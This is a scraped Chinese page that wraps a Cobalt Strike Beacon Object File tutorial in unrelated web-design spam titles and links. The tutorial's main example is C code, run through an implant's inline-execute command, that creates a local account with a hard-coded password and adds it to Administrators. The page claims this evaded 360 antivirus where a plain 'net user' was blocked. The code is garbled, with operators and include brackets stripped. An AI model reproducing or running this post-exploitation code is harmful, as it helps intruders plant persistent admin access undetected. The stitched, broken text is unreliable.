当前位置: 首页 > news >正文

漯河网站建设-千弘网络威海专业做网站设计的公司

漯河网站建设-千弘网络,威海专业做网站设计的公司,唐山哪个公司做网站,野望是什么意思CS BOF是什么#xff1f; Beacon 对象文件 (BOF) 是一个已编译的 C 程序#xff0c;按照约定编写#xff0c;允许其在 Beacon 进程内执行并使用内部 Beacon API。BOF 是一种通过新的利用后功能快速扩展 Beacon 代理的方法。 BOF 的占地面积较小。它们在 Beacon 进程内部运…CS BOF是什么 Beacon 对象文件 (BOF) 是一个已编译的 C 程序按照约定编写允许其在 Beacon 进程内执行并使用内部 Beacon API。BOF 是一种通过新的利用后功能快速扩展 Beacon 代理的方法。 BOF 的占地面积较小。它们在 Beacon 进程内部运行并且可以使用进程注入块中的可延展的 c2 配置文件来控制内存。 如何开发BOF 下段代码是官方给出的代码 下段代码是官方给出的代码 #include windows.h #include“beacon.h” void go(char * args, int alen) {BeaconPrintf(CALLBACK_OUTPUT, Hello World: %s, args); }这里的beacon.h头文件的下载地址如下 https://hstechdocs.helpsystems.com/kbfiles/cobaltstrike/attachments/beacon.h 这里可以使用 Visual Studio 进行编译也可以使用MinGW进行编译。 VS编译如下: cl.exe /c /GS- hello.c /Fo hello.obj但是这里需要注意一个问题这样编译的话可能会报错不包括路径集等等。 这里需要将这几个目录加入到系统变量中系统变量名为:INCLUDE 参考: https://blog.csdn.net/weixin_41115751/article/details/89817123 在BOF中我们是可以通过GetProcAddressLoadLibraryAGetModuleHandle 来调用我们想要的windows API。 例如我们可以将添加用户的代码放到go函数中。 #include windows.h #include stdio.h #include bofdefs.h#pragma region error_handling #define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr) BOOL _print_error(char* func, int line, char* msg, HRESULT hr) { #ifdef BOF//BeaconPrintf(CALLBACK_ERROR, (%s at %d): %s 0x%08lx, func, line, msg, hr);BeaconPrintf(CALLBACK_OUTPUT,Hello world); #elseprintf([-] (%s at %d): %s 0x%08lx, func, line, msg, hr); #endif // BOFreturn FALSE; } #pragma endregiontypedef DWORD NET_API_STATUS;DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD); DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);#include LM.h#ifdef BOF void go(char* buff, int len) {USER_INFO_1 UserInfo;DWORD dwLevel 1;DWORD dwError 0;UserInfo.usri1_name (TCHAR*)Ltest123; // 账户 UserInfo.usri1_password (TCHAR*)LTest#123; // 密码UserInfo.usri1_priv USER_PRIV_USER;UserInfo.usri1_home_dir NULL;UserInfo.usri1_comment NULL;UserInfo.usri1_flags UF_SCRIPT;UserInfo.usri1_script_path NULL;NET_API_STATUS nStatus;nStatus NETAPI32$NetUserAdd(NULL,dwLevel,(LPBYTE)UserInfo,dwError);if (nStatus NERR_Success) {BeaconPrintf(CALLBACK_OUTPUT, 添加成功, NULL);}else {BeaconPrintf(CALLBACK_OUTPUT, 添加失败 %d, nStatus);}LOCALGROUP_MEMBERS_INFO_3 account;account.lgrmi3_domainandname UserInfo.usri1_name;NET_API_STATUS aStatus;aStatus NETAPI32$NetLocalGroupAddMembers(NULL, LAdministrators, 3, (LPBYTE)account, 1);if (aStatus NERR_Success) {BeaconPrintf(CALLBACK_OUTPUT, User has been successfully added to Administrators, NULL);}else {BeaconPrintf(CALLBACK_OUTPUT, User added to Administrators error , NULL);}} #elsevoid main(int argc, char* argv[]) {}#endif如下图使用inline-execute调用即可。 如下图直接使用net user去添加账户: 这里卡住了来看下win10机器显示。 可以发现是不行的我们用BOF执行。 可以发现已经添加成功了360没有任何反应。 态函数 除了直接调用windows API之外我们也可以使用动态函数来进行解析。 动态函数解析就是将Win32 API的声明和调用变成如下格式: NETAPI32$NetUserAdd 左边是DLL右边是函数名环境准备 操作系统windows10 编译器VS 这里我们使用的是BOF开发模板是: https://github.com/securifybv/Visual-Studio-BOF-template 环境搭建 首先从github上下载下来之后然后放到VS的模板目录。 如下图: 放到这里之后打开VS可以看到已经有这个模板了。 点击创建。 但是这里创建出来的文件是Source.cpp也就是C的文件。 这里我们将这个文件复制出来然后改成C文件。 然后点击生成-批生成 勾选前两个即可。 然后生成即可。 如上图就生成成功了。 入口 其实go函数就是BOF的入口当你在CS上执行inline-execute命令的时候就会调用go函数。 所以我们可以将win32相关API写到go函数中。 如下例子获取当前用户名: #include windows.h #include stdio.h #include bofdefs.h#pragma region error_handling #define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr) BOOL _print_error(char* func, int line, char* msg, HRESULT hr) { #ifdef BOF//BeaconPrintf(CALLBACK_ERROR, (%s at %d): %s 0x%08lx, func, line, msg, hr);BeaconPrintf(CALLBACK_OUTPUT, Hello world); #elseprintf([-] (%s at %d): %s 0x%08lx, func, line, msg, hr); #endif // BOFreturn FALSE; } #pragma endregionDECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);#include LM.h#ifdef BOF void go(char* buff, int len) {char username[1024];DWORD usernameLength sizeof username;ADVAPI32$GetUserNameA(username, usernameLength);BeaconPrintf(CALLBACK_OUTPUT, 当前用户名为:%s, username); } #elsevoid main(int argc, char* argv[]) {}#endif
http://www.w-s-a.com/news/463522/

相关文章:

  • 工程建设标准强制性条文最新版本网站关键词排名优化应该怎么做
  • 网站网页设计内容品牌高端网站建设公司
  • 网站开发报价 福州中国建筑网官网手机版
  • 网站 图片 自动往右移专门做定制化的网站
  • 最好用的cms手机百度关键词排名 网站优化软件
  • 凉山州城乡规划建设局网站长沙网站建设哪家强
  • 广州网站开发创意设计公司企业自己怎么制作网站首页
  • 曲靖 曲靖网站建设软件(app)开发wordpress 没有远程发布
  • 官方网站开发与定制网站建设技术是干嘛的
  • 昆明网站建设工作室网站菜单导航怎么做的
  • 南京网站做的好的公司猪八戒网站做推广怎么样
  • 建站收费标准福州网站搭建
  • 做防护用品的网站欧美网站建设风格特点
  • 龙华做网站联系电话北京软件开发培训班
  • 做网站运营有前途网站的建设与管理的心得体会
  • 河南网站推广怎么做网页制作免费下载
  • 网站如何屏蔽中国ip商丘网站建设的公司哪家好
  • 东莞广告公司东莞网站建设价格鹤壁哪有做网站的
  • 门户网站界面设计logo设计商标设计
  • 建设银行网站驱动宁波网站建设相信荣胜网络
  • 八里河网站建设项目建设可行性企业品牌推广方式有哪些
  • jsp网站开发之html入门知识广州服装设计公司
  • 做电商看的网站有哪些个人网页制作成品免费
  • 沈阳建站多少钱境外网站 备案
  • 提交网站收录入口斗图在线制作
  • 建设化妆品网站服务医药网站前置审批
  • 购物网站修改注册信息模块的分析怎么注册公司logo
  • 那个网站可以做域名跳转的青岛网站建设定制
  • 网站登记模板互联网技术发展及其影响的调查
  • 北京专业的网站建设西安企业家名单